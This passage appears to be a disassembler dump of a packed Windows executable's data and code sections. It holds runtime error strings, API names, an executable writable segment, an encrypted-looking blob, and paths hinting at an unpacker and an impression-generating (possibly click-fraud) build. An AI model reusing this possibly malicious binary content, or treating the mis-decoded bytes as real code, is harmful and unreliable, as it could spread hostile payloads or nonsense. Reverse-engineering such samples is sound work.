sub_4020C9+28r dd 77E616B4h, 77E79C90h, 77E79D8Ch, 77E79C3Dh dword_405040 dd 77EB9A84h ; DATA XREF: seg000:0040177Br dd 77E9C5B1h, 77E67702h, 77E7C9E1h dword_405050 dd 77E79924h ; DATA XREF: sub_403E7F+22Dr ; seg000:0040492Cr ... dword_405054 dd 77F5157Dh ; DATA XREF: sub_403E7F:loc_403EB8r ; seg000:loc_404271r dd 77E77EE1h, 77E7C931h, 77E78406h, 77E76E0Bh, 77E7C726h dword_40506C dd 77E79E34h ; DATA XREF: sub_402D70+22Fr dword_405070 dd 77F51597h ; DATA XREF: sub_4028F6+30r ; sub_402D70+2B4r ... dword_405074 dd 77E805D8h ; DATA XREF: sub_4020C9+18r dd 77E7A13Fh, 77E6C703h dword_405080 dd 77E7849Fh ; DATA XREF: seg000:0040482Br dword_405084 dd 77F516F8h ; DATA XREF: sub_40292E+3Er ; seg000:00402D0Ar ... dword_405088 dd 77E7980Ah ; DATA XREF: sub_403088+7Er ; sub_40313F+52r ... dword_40508C dd 77F5722Fh ; DATA XREF: sub_403088+27r ; sub_403B37+FDr ... dword_405090 dd 77F6183Eh ; DATA XREF: sub_404CC2r dword_405094 dd 77E775F1h ; DATA XREF: sub_40390E+131r ; sub_40390E+196r ... dword_405098 dd 77E7F044h ; DATA XREF: sub_40390E+B3r ; sub_4049BC+1Ar ... dword_40509C dd 77F522F2h ; DATA XREF: sub_403C99+30r dd 77E802FCh dword_4050A4 dd 77E7751Ah ; DATA XREF: sub_403CD1+37r dd 77E77CC4h, 77E80656h, 77E6167Bh, 77E77405h dword_4050B8 dd 77E77CCEh ; DATA XREF: sub_403E7F+C0r ; sub_403E7F+141r ... dword_4050BC dd 77E781F9h ; DATA XREF: sub_403E7F+27r ; sub_403E7F+15Br ... ; --------------------------------------------------------------------------- jmp short loc_405103 ; --------------------------------------------------------------------------- dw 77E6h dword_4050C4 dd 77E7C866h ; DATA XREF: seg000:0040425Fr ; seg000:00404363r dword_4050C8 dd 77E7513Ch ; DATA XREF: sub_4047B0+20r dword_4050CC dd 77E6169Ah ; DATA XREF: sub_4049BC+D5r dword_4050D0 dd 77E7C3A5h ; DATA XREF: sub_4049BC+2Br dd 4 dup(0) dd 46711AD1h, 0 dd 2, 58h, 5D20h, 4F20h, 0 db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_405103: ; CODE XREF: seg001:004050C0j dec dword ptr [edi-5CFFBFEEh] adc al, [eax+0] inc ebx outsd jb short loc_405155 js short near ptr loc_405176+5 jz short loc_405164 jb short near ptr loc_405182+3 arpl [ebp+73h], sp jnb short $+2 add [ebp+73h], ch arpl [edi+72h], bp db 65h, 65h, 2Eh, 64h insb insb add [edx+75h], dh outsb jz short near ptr loc_405194+2 insd and gs:[ebp+72h], ah jb short loc_4051A3 jb short near ptr loc_405155+1 ; --------------------------------------------------------------------------- dw 0 dd 0A0Dh, 534F4C54h, 72652053h, 0D726F72h, 0Ah, 474E4953h dd 72726520h db 6Fh ; --------------------------------------------------------------------------- loc_405155: ; CODE XREF: seg001:0040510Ej ; seg001:00405134j jb short loc_405164 or al, [eax] ; --------------------------------------------------------------------------- db 3 dup(0) dd 414D4F44h, 65204E49h ; --------------------------------------------------------------------------- loc_405164: ; CODE XREF: seg001:00405112j ; seg001:loc_405155j jb short loc_4051D8 outsd jb short loc_405176 or al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dd 32303652h db 39h, 0Dh ; --------------------------------------------------------------------------- loc_405176: ; CODE XREF: seg001:00405167j ; seg001:00405110j or ch, ds:69685420h jnb short loc_40519E popa jo short loc_4051F1 insb loc_405182: ; CODE XREF: seg001:00405114j imul esp, [ebx+61h], 6E6F6974h and [ebx+61h], ah outsb outsb outsd jz short loc_4051B1 jb short near ptr loc_405207+1 outsb loc_405194: ; CODE XREF: seg001:0040512Bj and [ebp+73h], dh imul ebp, [esi+67h], 65687420h loc_40519E: ; CODE XREF: seg001:0040517Cj and [ecx+63h], ah jz short loc_40520C loc_4051A3: ; CODE XREF: seg001:00405132j jbe short loc_40520A and [esi+65h], dh jb short near ptr loc_405218+5 imul ebp, [edi+6Eh], 20666F20h loc_4051B1: ; CODE XREF: seg001:0040518Fj jz short near ptr loc_405218+3 and gs:[ebp+69h], cl arpl [edx+6Fh], si jnb short near ptr loc_405229+2 db 66h jz short near ptr loc_4051DC+3 db 2Eh dec esi inc ebp push esp and [edx+75h], dl outsb jz short near ptr loc_405231+1 insd or dl, gs:[eax+6Ch] db 65h popa jnb short loc_405237 and [ebx+6Fh], ah outsb jz short near ptr byte_405239 loc_4051D8: ; CODE XREF: seg001:loc_405164j arpl [eax+74h], si loc_4051DC: ; CODE XREF: seg001:004051BCj push 70612065h jo short near ptr loc_40524E+1 imul esp, [ebx+61h], 6E6F6974h daa jnb short loc_40520D jnb short near ptr loc_405262+2 jo short near ptr loc_40525F+2 loc_4051F1: ; CODE XREF: seg001:0040517Fj outsd jb short near ptr loc_405262+6 and [ebp+61h], dh insd and [esi+6Fh], ah jb short loc_40521E insd outsd jb short near ptr loc_405262+5 and [ecx+6Eh], ch outsw loc_405207: ; CODE XREF: seg001:00405191j jb short loc_405276 popa loc_40520A: ; CODE XREF: seg001:loc_4051A3j jz short near ptr loc_405273+2 loc_40520C: ; CODE XREF: seg001:004051A1j outsd loc_40520D: ; CODE XREF: seg001:004051EBj outsb db 2Eh or eax, 0Ah push edx xor ss:[edx], dh loc_405218: ; CODE XREF: seg001:loc_4051B1j ; seg001:004051A8j cmp ds:75202D0Ah, cl loc_40521E: ; CODE XREF: seg001:004051FCj outsb popa bound ebp, [ebp+20h] jz short near ptr loc_405294+1 and [ecx+6Eh], ch loc_405229: ; CODE XREF: seg001:004051BAj imul esi, [ecx+ebp*2+61h], 657A696Ch loc_405231: ; CODE XREF: seg001:004051C7j and [eax+65h], ch popa jo short loc_405244 loc_405237: ; CODE XREF: seg001:004051D0j or al, [eax] ; --------------------------------------------------------------------------- byte_405239 db 3 dup(0) ; CODE XREF: seg001:004051D6j dd 32303652h, 2D0A0D37h ; --------------------------------------------------------------------------- loc_405244: ; CODE XREF: seg001:00405235j and [esi+6Fh], ch jz short near ptr loc_405262+7 outs dx, byte ptr gs:[esi] outsd jnz short near ptr loc_4052B2+3 loc_40524E: ; CODE XREF: seg001:004051E1j push 61707320h arpl [ebp+20h], sp outsw jb short near ptr loc_405278+2 insb outsd ja short near ptr loc_4052C5+2 outsd loc_40525F: ; CODE XREF: seg001:004051EFj and [ecx+6Eh], ch loc_405262: ; CODE XREF: seg001:004051EDj ; seg001:00405200j ... imul esi, [ecx+ebp*2+61h], 617A696Ch jz short loc_4052D5 outsd outsb or eax, 0Ah loc_405273: ; CODE XREF: seg001:loc_40520Aj add [edx+36h], dl loc_405276: ; CODE XREF: seg001:loc_405207j xor [edx], dh loc_405278: ; CODE XREF: seg001:00405258j db 36h or eax, 6E202D0Ah outsd jz short near ptr loc_40529C+5 outs dx, byte ptr gs:[esi] outsd jnz short near ptr loc_4052EB+2 push 61707320h arpl [ebp+20h], sp outsw jb short loc_4052B2 jnb short near ptr loc_405307+1 loc_405294: ; CODE XREF: seg001:00405224j imul ebp, fs:[edi+20h], 74696E69h loc_40529C: ; CODE XREF: seg001:0040527Fj imul esp, [ecx+6Ch], 74617A69h imul ebp, [edi+6Eh], 0A0Dh ; --------------------------------------------------------------------------- dw 0 dd 32303652h db 35h, 0Dh ; --------------------------------------------------------------------------- loc_4052B2: ; CODE XREF: seg001:00405290j ; seg001:0040524Cj or ch, ds:72757020h and gs:[esi+69h], dh jb short near ptr loc_40532F+3 jnz short loc_405321 insb and [esi+75h], ah outsb loc_4052C5: ; CODE XREF: seg001:0040525Cj arpl [ecx+ebp*2+6Fh], si outsb and [ebx+61h], ah insb insb or eax, 0Ah push edx loc_4052D5: ; CODE XREF: seg001:0040526Aj xor ss:[edx], dh xor al, 0Dh or ch, ds:746F6E20h and [ebp+6Eh], ah outsd jnz short loc_40534D push 61707320h loc_4052EB: ; CODE XREF: seg001:00405284j arpl [ebp+20h], sp outsw jb short loc_405312 pop edi outsd outsb db 65h js short loc_405361 jz short loc_405329 popa jz short near ptr loc_405361+1 js short near ptr loc_405367+1 jz short loc_405321 jz short near ptr loc_405361+3 bound ebp, [ebp+0Dh] loc_405307: ; CODE XREF: seg001:00405292j or al, [eax] ; --------------------------------------------------------------------------- db 3 dup(0) dd 31303652h db 39h, 0Dh ; --------------------------------------------------------------------------- loc_405312: ; CODE XREF: seg001:004052F0j or ch, ds:616E7520h bound ebp, [ebp+20h] jz short loc_40538D and [edi+70h], ch loc_405321: ; CODE XREF: seg001:004052BEj ; seg001:004052FFj outs dx, byte ptr gs:[esi] and [ebx+6Fh], ah outsb jnb short near ptr loc_405397+1 loc_405329: ; CODE XREF: seg001:004052F8j insb and gs:[ebp+76h], ah loc_40532F: ; CODE XREF: seg001:004052BCj imul esp, [ebx+65h], 0A0Dh ; --------------------------------------------------------------------------- dw 0 dd 31303652h, 2D0A0D38h, 656E7520h, 63657078h, 20646574h db 68h ; --------------------------------------------------------------------------- loc_40534D: ; CODE XREF: seg001:004052E4j db 65h popa jo short near ptr loc_40536F+2 db 65h jb short near ptr loc_4053C3+3 outsd jb short near ptr loc_405361+3 or al, [eax] ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- push edx xor ss:[ecx], dh aaa loc_405361: ; CODE XREF: seg001:004052F5j ; seg001:004052FBj ... or eax, 75202D0Ah outsb loc_405367: ; CODE XREF: seg001:004052FDj db 65h js short near ptr loc_4053D6+4 arpl gs:[ebp+64h], si loc_40536F: ; CODE XREF: seg001:0040534Fj and [ebp+75h], ch insb jz short near ptr loc_4053DC+2 jz short loc_4053DF jb short near ptr loc_4053DC+2 popa and fs:[edi+ebp*2+63h], ch imul esp, [eax], 65h jb short near ptr loc_4053F5+1 outsd jb short near ptr loc_405390+4 or al, [eax] ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- push edx loc_40538D: ; CODE XREF: seg001:0040531Cj xor ss:[ecx], dh loc_405390: ; CODE XREF: seg001:00405385j db 36h or eax, 6E202D0Ah outsd loc_405397: ; CODE XREF: seg001:00405327j jz short near ptr loc_4053B5+4 outs dx, byte ptr gs:[esi] outsd jnz short loc_405405 push 61707320h arpl [ebp+20h], sp outsw jb short loc_4053CA jz short loc_405414 jb short near ptr loc_405412+1 popa and fs:[ecx+74h], ah popa loc_4053B5: ; CODE XREF: seg001:loc_405397j or eax, 0A0D000Ah push esp push 61207369h jo short near ptr loc_405430+2 insb loc_4053C3: ; CODE XREF: seg001:00405351j imul esp, [ebx+61h], 6E6F6974h loc_4053CA: ; CODE XREF: seg001:004053A8j and [eax+61h], ch jnb short near ptr loc_4053EC+3 jb short near ptr loc_405435+1 jno short loc_405448 db 65h jnb short loc_40544A loc_4053D6: ; CODE XREF: seg001:loc_405367j db 65h and fs:[eax+ebp*2+65h], dh loc_4053DC: ; CODE XREF: seg001:00405373j ; seg001:00405377j and [edx+75h], dl loc_4053DF: ; CODE XREF: seg001:00405375j outsb jz short near ptr loc_40544A+1 insd and gs:[edi+ebp*2+20h], dh jz short near ptr loc_40544A+5 jb short near ptr loc_405454+5 loc_4053EC: ; CODE XREF: seg001:004053CDj imul ebp, [esi+61h], 69206574h jz short near ptr loc_405414+1 loc_4053F5: ; CODE XREF: seg001:00405382j imul ebp, [esi+20h], 75206E61h outsb jnz short loc_405472 jnz short loc_405462 insb and [edi+61h], dh loc_405405: ; CODE XREF: seg001:0040539Cj jns short loc_405435 or dl, [eax+6Ch] db 65h popa jnb short near ptr loc_405472+1 and [ebx+6Fh], ah outsb loc_405412: ; CODE XREF: seg001:004053ACj jz short loc_405475 loc_405414: ; CODE XREF: seg001:004053AAj ; seg001:004053F3j arpl [eax+74h], si push 70612065h jo short loc_40548B imul esp, [ebx+61h], 6E6F6974h daa jnb short loc_405449 jnb short near ptr loc_40549F+1 jo short loc_40549D outsd jb short near ptr loc_4054A3+1 loc_405430: ; CODE XREF: seg001:004053C0j and [ebp+61h], dh insd loc_405435: ; CODE XREF: seg001:loc_405405j ; seg001:004053CFj and [esi+6Fh], ah jb short loc_40545A insd outsd jb short loc_4054A3 and [ecx+6Eh], ch outsw jb short loc_4054B2 popa jz short near ptr loc_4054AC+5 loc_405448: ; CODE XREF: seg001:004053D1j outsd loc_405449: ; CODE XREF: seg001:00405427j outsb loc_40544A: ; CODE XREF: seg001:004053D3j ; seg001:004053E0j ... db 2Eh or eax, 0Ah push edx xor ss:[eax], dh loc_405454: ; CODE XREF: seg001:004053EAj cmp ds:6E202D0Ah, ecx loc_40545A: ; CODE XREF: seg001:00405438j outsd jz short loc_40547D outs dx, byte ptr gs:[esi] outsd jnz short near ptr loc_4054C7+2 loc_405462: ; CODE XREF: seg001:004053FFj push 61707320h arpl [ebp+20h], sp outsw jb short loc_40548E outs dx, byte ptr gs:[esi] jbe short near ptr aMicrosoftVisua+0Bh loc_405472: ; CODE XREF: seg001:004053FDj ; seg001:0040540Cj jb short near ptr aMicrosoftVisua+13h outsb loc_405475: ; CODE XREF: seg001:loc_405412j insd outs dx, byte ptr gs:[esi] jz short loc_405487 or al, [eax] push edx loc_40547D: ; CODE XREF: seg001:0040545Bj xor ss:[eax], dh cmp ds:6E202D0Ah, cl outsd loc_405487: ; CODE XREF: seg001:00405478j jz short loc_4054A9 outs dx, byte ptr gs:[esi] loc_40548B: ; CODE XREF: seg001:0040541Dj outsd jnz short near ptr byte_4054F5 loc_40548E: ; CODE XREF: seg001:0040546Cj push 61707320h arpl [ebp+20h], sp outsw jb short near ptr loc_4054B8+2 popa jb short loc_405504 loc_40549D: ; CODE XREF: seg001:0040542Bj jnz short loc_40550C loc_40549F: ; CODE XREF: seg001:00405429j outs dx, byte ptr gs:[esi] jz short near ptr word_405516 loc_4054A3: ; CODE XREF: seg001:0040543Cj ; seg001:0040542Ej or eax, 0Ah push edx loc_4054A9: ; CODE XREF: seg001:loc_405487j xor ss:[eax], dh loc_4054AC: ; CODE XREF: seg001:00405446j xor cl, ds:66202D0Ah loc_4054B2: ; CODE XREF: seg001:00405443j insb outsd popa jz short loc_405520 outsb loc_4054B8: ; CODE XREF: seg001:00405498j and [bx+si+6Fh], dh imul ebp, [esi+74h], 746F6E20h and [edi+ebp*2+61h], ch loc_4054C7: ; CODE XREF: seg001:00405460j db 64h, 65h, 64h or eax, 0Ah ; --------------------------------------------------------------------------- db 0 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; CODE XREF: seg001:00405470j ; DATA XREF: seg000:00403E69o byte_4054F5 db 3 dup(0) ; CODE XREF: seg001:0040548Cj asc_4054F8 db 0Ah ; DATA XREF: seg000:00403E33o db 0Ah,0 align 4 dd 746E7552h, 20656D69h ; --------------------------------------------------------------------------- loc_405504: ; CODE XREF: seg001:0040549Bj inc ebp jb short near ptr aGetuserobjecti+0Dh outsd jb short near ptr loc_405528+3 or cl, [edx] loc_40550C: ; CODE XREF: seg001:loc_40549Dj push eax jb short near ptr aGetuserobjecti+12h db 67h jb near ptr 5573h insd cmp ah, [eax] ; --------------------------------------------------------------------------- db 0 word_405516 dw 0 ; CODE XREF: seg001:004054A1j dword_405518 dd 2E2E2Eh, 6F72703Ch ; DATA XREF: seg000:00403E03o ; --------------------------------------------------------------------------- loc_405520: ; CODE XREF: seg001:004054B5j db 67h jb near ptr 5584h insd and [esi+61h], ch insd loc_405528: ; CODE XREF: seg001:00405508j and gs:[ebp+6Eh], dh imul ebp, [esi+6Fh], 77h outsb db 3Eh add [eax], al ; --------------------------------------------------------------------------- dd 0 dd 0FFFFFFFFh, 401DB1h, 401DB5h, 0 dd 0FFFFFFFFh, 401DF5h, 401DF9h aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_4020C9+73o aGetuserobjecti db 'GetUserObjectInformationA',0 ; CODE XREF: seg001:00405505j ; DATA XREF: sub_4020C9+62o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4020C9+47o align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4020C9+3Fo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4020C9+2Eo aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4020C9+13o align 8 dword_4055C8 dd 0FFFFFFFFh, 4024A8h, 4024ACh ; DATA XREF: sub_4024BC-2Fo dword_4055D4 dd 676F7250h, 3A6D6172h, 20h ; DATA XREF: seg000:00403E3Fo aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: seg000:00403D99o db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: seg000:loc_403D94o align 10h aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: seg000:00403D83o db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: seg000:00403D7Eo align 4 dword_405778 dd 0FFFFFFFFh, 403D6Fh, 403D73h, 41h dup(0) ; DATA XREF: sub_403D37+5o asc_405888: ; DATA XREF: seg002:off_4072D0o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) dword_405A88 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h ; DATA XREF: seg002:004072D4o dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h) dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h) dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h) dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h) dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h) dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h) dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h dword_405C8C dd 0 ; DATA XREF: sub_403E7F+1Co ; seg000:00404259o dword_405C90 dd 0FFFFFFFFh, 404178h, 40417Ch, 0FFFFFFFFh, 403F75h, 403F79h ; DATA XREF: sub_403E7F+2o dd 0FFFFFFFFh, 404043h, 404047h, 0 dword_405CB8 dd 0FFFFFFFFh, 404314h, 404318h, 0 ; DATA XREF: sub_40423B+2o dword_405CC8 dd 0FFFFFFFFh, 4048C5h, 4048C9h, 0 ; DATA XREF: sub_4047F3+2o dd 48h, 0Eh dup(0) dd offset dword_4071C0 dd offset byte_405D80 dd 2, 53445352h, 0D35AE902h, 452F1ED4h, 52A058BFh, 0AAE30B17h dd 2 aPProjectsKlikt db 'p:\Projects\Kliktanje\gen_impression\Release\gen_impression.pdb',0 align 10h byte_405D80 db 0CCh ; DATA XREF: seg001:00405D18o db 1Eh, 2 dup(0) dd 3840h, 4 dup(0) dd 5DE0h, 2 dup(0) dd 5EDCh, 500Ch, 5DD4h, 2 dup(0) dd 5F0Ch, 5000h, 5 dup(0) dd 3B4D1854h, 47C1F7F4h, 0 dd 7028E63Bh, 0B395316h, 0C534B375h, 3C7694F5h, 0E19E1ECCh dd 0DAF588FDh, 0A41DE0C2h, 25139AEFh, 918757C6h, 982FB65Dh dd 0E7F198D4h, 775A8F5h, 4E13BE4Bh, 780E12D7h, 1E32FDCCh dd 0D02065F1h, 0E3FAF5CAh, 0DCAE3102h, 901CA80Fh, 6552725Fh dd 0C8283971h, 0ED880D7Ah, 901551AAh, 57D69C5h, 1405C50Ch dd 30922896h, 0E77C4714h, 8918A54Ch, 62BA7D26h, 96C9137h dd 87C03630h, 7F94B83Bh, 2F362DADh, 74032C1Eh, 929DD37Ah dd 0ECAA383Fh, 26491586h, 2E8C4DEBh, 960CB272h, 18113677h dd 61536107h, 0EAC13177h, 44E1FD7Fh, 0B1D51C7Dh, 803B7F32h dd 171B8E18h, 6EC990A3h, 1F605C8Bh, 43B345E4h, 0A8EDA206h dd 0 dd 0E97C0265h, 0E12A5E1Bh, 13EDFDF4h, 175007Dh, 4D1D711Dh dd 0F4D037B4h, 991563Fh, 0DEB3D517h, 0A7E1h, 4D3903BCh dd 29675916h, 3A23h, 4F8E29CFh, 2EC7A221h, 0DC581176h dd 1F90000h, 5434CCA5h, 80F2768h, 72005103h, 31F8h, 2B2F01CCh dd 7135DF45h, 68786D28h, 0B46662h, 16185811h, 0BA6335C0h dd 0FAF1F226h, 1770000h, 0ED957A1Bh, 0BC589854h, 0E0407ED0h dd 0B7122345h, 1AF0000h, 7908ED74h, 40D7BE2Eh, 0D9EB640Bh dd 741Fh, 1B500108h, 46F83200h, 6ACF2262h, 3A37706Dh, 1DF006Ch dd 0AD3B9528h, 0EB68FE97h, 0EFEED796h, 0AF0007h, 62F148ECh dd 0BAF94C28h, 0E0AC22h, 14F20198h, 0C96B9BB6h, 3812A9DAh dd 9D09F045h, 34F0000h, 0B3BB657Bh, 0E58B535h, 0A2FA1BA1h dd 0CE58EFDAh, 13A0000h, 9B49587h, 2AFC31BFh, 8342C7Ch dd 7CF93FD5h, 3940075h, 846A0766h, 0C05F47B3h, 1B1009Ch dd 0DACC1947h, 8A82C4DAh, 0BF8E4579h, 3600000h, 4F0CD90Ch dd 6CA5D1Bh, 66F69FA1h, 0D195B723h, 0D955EED1h, 97A3B40Fh dd 0ED0000h, 866923B2h, 0CDE5E8B6h, 6D9AC175h, 0A2500A3Eh dd 52DC18B5h, 202A8Eh, 54BA014Dh, 210B39A0h, 0D8B412E0h dd 4FE0C571h, 6501BF8Ah, 7A6E71h, 36CE00EEh, 0CE120667h dd 0AD749C43h, 5F5CC5BDh, 854AA48h, 40C1D14Ch, 38700C2h dd 31ED36B7h, 0AF3C0E0Ch, 7C8C91EEh, 0D3CE12BBh, 0A58D2Ch dd 82D20169h, 6165C325h, 0C0467429h, 8A6Eh, 3800014Fh dd 6D8FD67Eh, 8D85B316h, 9372A2ABh, 4BD55C63h, 4CE92C91h dd 3170000h, 194927FCh, 84A69EFh, 0B55846E3h, 0ACh, 0C01015Eh dd 0B3CFBC0Fh, 0FAFD6CD7h, 20A00EDh, 0EB72B629h, 95669F4Ch dd 5EF791h, 8B240208h, 288A0391h, 79CAB790h, 3760000h dd 0D451C2F1h, 237D68AEh, 7B9D54h, 0F856020Ch, 6231194Bh dd 3739h, 54440248h, 8FED0673h, 0DF0AAA2Dh, 1EEAh, 0E2B900F5h dd 0BFAF337Bh, 18B0000h, 3EB77F11h, 745F7C6Ah, 0FC0000h dd 0CD81B271h, 0EB3473B4h, 2060047h, 0B678D666h, 0BCD3934h dd 3730031h, 0FBA14F4Bh, 868FE71Dh, 5BBDAED6h, 2100000h dd 0FDE09BDCh, 0A3299923h, 2BD46Fh, 0C2F902CAh, 0DE6773F8h dd 0CFE166h, 851B021Fh, 33B3178Bh, 0F792362Bh, 34641080h dd 1804BA05h, 37B000Ah, 3C3EEA97h, 621A70C2h, 0EA178CA1h dd 2120000h, 15FA20B6h, 7D8F44D5h, 2970000h, 0DA9A5016h dd 3BE32C87h, 0FD0C3039h, 2457DBE6h, 0DAB86C9Eh, 50ED40h dd 378101D5h, 90D56BBBh, 0D95FDF5Ch, 79E2h, 359013Eh, 0D9CD923h dd 0FA74AD50h, 0BE8E8F65h, 9EA1A89h, 13B0000h, 0CBA5421Ah dd 0EB3EC819h, 21C10AC8h, 9EC95D05h, 3A3D97h, 0B13101C0h dd 8A9B852Eh, 4C489054h, 594EEDF8h, 0A12801A0h, 95CF8376h dd 23A0012h, 693EA63Eh, 28F6FDA5h, 0BC561F82h, 26B0000h dd 0DC42F5D4h, 0D6FB1E2Eh, 6890BE20h, 98663B6Dh, 0B892Bh dd 0AA7D023Bh, 27011CDAh, 39CE957Bh, 3477h, 0D84F01B2h dd 0F279876Ch, 2C4BADB4h, 0A4B9F936h, 1B50000h, 6F3B65A7h dd 0A87CD25Dh, 0A6C50529h, 42D6h, 0D949016Ch, 74EC1369h dd 7BE56D65h, 0BD555BDEh, 3790000h, 71E824FDh, 1169EAE7h dd 34620E93h, 46C1h, 0EB0701BBh, 0DBBD83ABh, 7D03CE6Fh dd 97291Ah, 369h dup(0) seg001 ends ; Section 3. (virtual address 00007000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00007000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg002 segment para public 'CODE' use32 assume cs:seg002 ;org 407000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 0 dd offset sub_403CD1 align 10h dd offset dword_402090+11h dd offset dword_4028D8 dd 0 dword_40701C dd 0 ; DATA XREF: sub_401363:loc_4013CAo dword_407020 dd 0 ; DATA XREF: sub_401363+6Co dword_407024 dd 0 ; DATA XREF: sub_401363:loc_4013E9o dword_407028 dd 2 dup(0) ; DATA XREF: sub_401363+8Bo dd 90D0D11h, 0E565643h, 16570E0Eh, 18171C09h, 1A100D0Bh dd 570A1C15h, 161F1710h, 0 dd 0D1F162Ah, 1C0B180Eh, 1A103425h, 160A160Bh, 30250D1Fh dd 0B1C0D17h, 590D1C17h, 1509013Ch, 0B1C0B16h, 10183425h dd 17h, 0B180D2Ah, 1829590Dh, 1C1Eh, 401435h, 2 dup(2) dd 4054A8h, 8, 40547Ch, 9, 405450h, 0Ah, 4053B8h, 10h dd 40538Ch, 11h, 40535Ch, 12h, 405338h, 13h, 40530Ch, 18h dd 4052D4h, 19h, 4052ACh, 1Ah, 405274h, 1Bh, 40523Ch, 1Ch dd 405214h, 1Dh, 405170h, 78h, 40515Ch, 79h, 40514Ch, 7Ah dd 40513Ch, 0FCh, 405138h, 0FFh, 405128h dword_407128 dd 0C0000005h, 0Bh, 0 ; DATA XREF: seg000:00401620o dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4071A0 dd 3 ; DATA XREF: seg000:00401698r dword_4071A4 dd 7 ; DATA XREF: seg000:0040169Dr dword_4071A8 dd 0Ah ; DATA XREF: seg000:0040161Ar dword_4071AC dd 8Ch ; DATA XREF: seg000:004016C6r ; seg000:004016CEw ... dd 0FFFFFFFFh, 0A80h, 10h, 0 dword_4071C0 dd 703392ADh ; DATA XREF: sub_4024BCr sub_402566+9r ... align 8 byte_4071C8 db 1 ; DATA XREF: seg000:00402812r db 2, 4, 8 align 10h dword_4071D0 dd 3A4h ; DATA XREF: seg000:loc_40276Dr dword_4071D4 dd 82798260h ; DATA XREF: seg000:0040284Er dd 21h, 0 dword_4071E0 dd 0DFA6h ; DATA XREF: seg000:004027F2r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4072C0 dd 19930520h, 3 dup(0) ; DATA XREF: seg000:004038EFo ; sub_4038F6+2o off_4072D0 dd offset asc_405888 ; DATA XREF: seg000:004024E2r ; sub_404B72:loc_404BF4r ... ; " ((((( H" dd offset dword_405A88+2 dd 1, 0 dword_4072E0 dd 1 ; DATA XREF: sub_404B72:loc_404BDFr dd 2Eh, 1, 0Bh dup(0) dword_407318 dd 2 ; DATA XREF: sub_4020C9+54r ; sub_4049BC+34r ... dd 0A28h, 501h dword_407324 dd 5 ; DATA XREF: sub_4020C9:loc_402175r dd 2 dup(1), 0D20B20h, 0 dd 0D20B40h, 3 dup(0) dd offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" align 10h byte_407350 db 0 ; DATA XREF: sub_401363+2Dw align 4 dword_407354 dd 1 ; DATA XREF: sub_401363+27w dword_407358 dd 1 ; DATA XREF: sub_401363+7r ; sub_401363+B0w align 10h dword_407360 dd 0 ; DATA XREF: seg000:0040167Cr ; seg000:00401687w ... align 8 aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: seg002:00407348o align 4 dd 3Bh dup(0) dd 1 dword_407474 dd 0 ; DATA XREF: sub_4020C9+9r ; sub_4020C9+38w ... dword_407478 dd 0 ; DATA XREF: sub_4020C9+4Dw ; sub_4020C9:loc_40218Er dword_40747C dd 0 ; DATA XREF: sub_4020C9+5Bw ; sub_4020C9+D6r dword_407480 dd 0 ; DATA XREF: sub_4020C9+7Bw ; sub_4020C9:loc_402149r dword_407484 dd 0 ; DATA XREF: sub_4020C9+6Cw ; sub_4020C9+9Cr dword_407488 dd 1 ; DATA XREF: seg000:0040270Bw ; seg000:00402713w ... align 10h dword_407490 dd 0 ; DATA XREF: sub_40390E:loc_403995r ; sub_40390E+13Fr ... align 8 dword_407498 dd 0 ; DATA XREF: sub_40390E:loc_4039A8r ; 